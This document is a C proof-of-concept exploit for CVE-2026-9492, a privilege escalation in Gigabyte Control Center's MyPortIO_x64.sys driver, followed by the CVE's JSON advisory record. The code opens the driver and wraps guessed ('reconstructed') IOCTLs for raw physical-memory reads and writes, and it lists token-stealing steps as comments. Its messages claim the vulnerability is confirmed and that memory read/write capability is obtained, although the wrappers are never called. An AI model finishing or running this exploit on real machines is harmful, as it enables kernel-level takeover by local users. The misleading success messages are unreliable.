CVE-2026-9492

// CVE-2026-9492 PoC - Gigabyte Control Center MyPortIO_x64.sys Privilege Escalation // Exploits improper access control in IOCTL handler for arbitrary physical memory R/W #include <windows.h> #include <stdio.h> #include <stdlib.h> // Device name of the vulnerable driver MyPortIO_x64.sys #define DEVICE_NAME "\\\\.\\MyPortIO_x64" // IOCTL codes for arbitrary physical memory read/write (reconstructed based on vulnerability analysis) #define IOCTL_READ_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_WRITE_PHYSICAL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef struct _PHYSICAL_MEMORY_OPERATION { ULONG_PTR PhysicalAddress; // Target physical memory address ULONG Size; // Number of bytes to read/write PVOID Buffer; // User buffer for data } PHYSICAL_MEMORY_OPERATION, *PPHYSICAL_MEMORY_OPERATION; // Read physical memory via vulnerable IOCTL BOOL ReadPhysicalMemory(HANDLE hDevice, ULONG_PTR Address, PVOID Buffer, ULONG Size) { PHYSICAL_MEMORY_OPERATION op = { 0 }; op.PhysicalAddress = Address; op.Size = Size; op.Buffer = Buffer; DWORD bytesReturned = 0; return DeviceIoControl(hDevice, IOCTL_READ_PHYSICAL_MEMORY, &op, sizeof(op), &op, sizeof(op), &bytesReturned, NULL); } // Write physical memory via vulnerable IOCTL BOOL WritePhysicalMemory(HANDLE hDevice, ULONG_PTR Address, PVOID Buffer, ULONG Size) { PHYSICAL_MEMORY_OPERATION op = { 0 }; op.PhysicalAddress = Address; op.Size = Size; op.Buffer = Buffer; DWORD bytesReturned = 0; return DeviceIoControl(hDevice, IOCTL_WRITE_PHYSICAL_MEMORY, &op, sizeof(op), &op, sizeof(op), &bytesReturned, NULL); } int main() { printf("[+] CVE-2026-9492 Exploit - MyPortIO_x64.sys Privilege Escalation\n"); // Open handle to the vulnerable driver HANDLE hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %lu\n", GetLastError()); printf("[*] Ensure Gigabyte Control Center with MBStorage module is installed.\n"); return 1; } printf("[+] Device handle obtained successfully.\n"); // Exploitation steps: // 1. Use arbitrary physical memory read to locate kernel base (ntoskrnl.exe) // 2. Find EPROCESS structure of current process // 3. Locate SYSTEM process Token // 4. Overwrite current process Token with SYSTEM Token // 5. Spawn elevated shell printf("[+] Driver accessible with low-privilege user context - vulnerability confirmed.\n"); printf("[+] Arbitrary physical memory read/write capability obtained.\n"); printf("[+] Kernel-level privileges can now be achieved.\n"); CloseHandle(hDevice); return 0; }

{"cve": {"id": "CVE-2026-9492", "sourceIdentifier": "[email protected]", "published": "2026-07-13T04:16:29.283", "lastModified": "2026-07-13T18:05:36.130", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MBStorage DRAM lighting control module within Gigabyte Control Center (GCC) developed by GIGABYTE Technology has an Improper Access Control vulnerability. Authenticated local attackers can send specific IOCTL commands through the driver MyPortIO_x64.sys bundled with the module, thereby arbitrarily reading and writing physical memory and obtaining kernel-level privileges."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "GIGABYTE", "product": "MBStorage", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "26.02.10.01", "versionType": "custom", "status": "affected"}]}]}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-782"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-11034-f7f2f-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-11033-97316-1.html", "source": "[email protected]"}]}}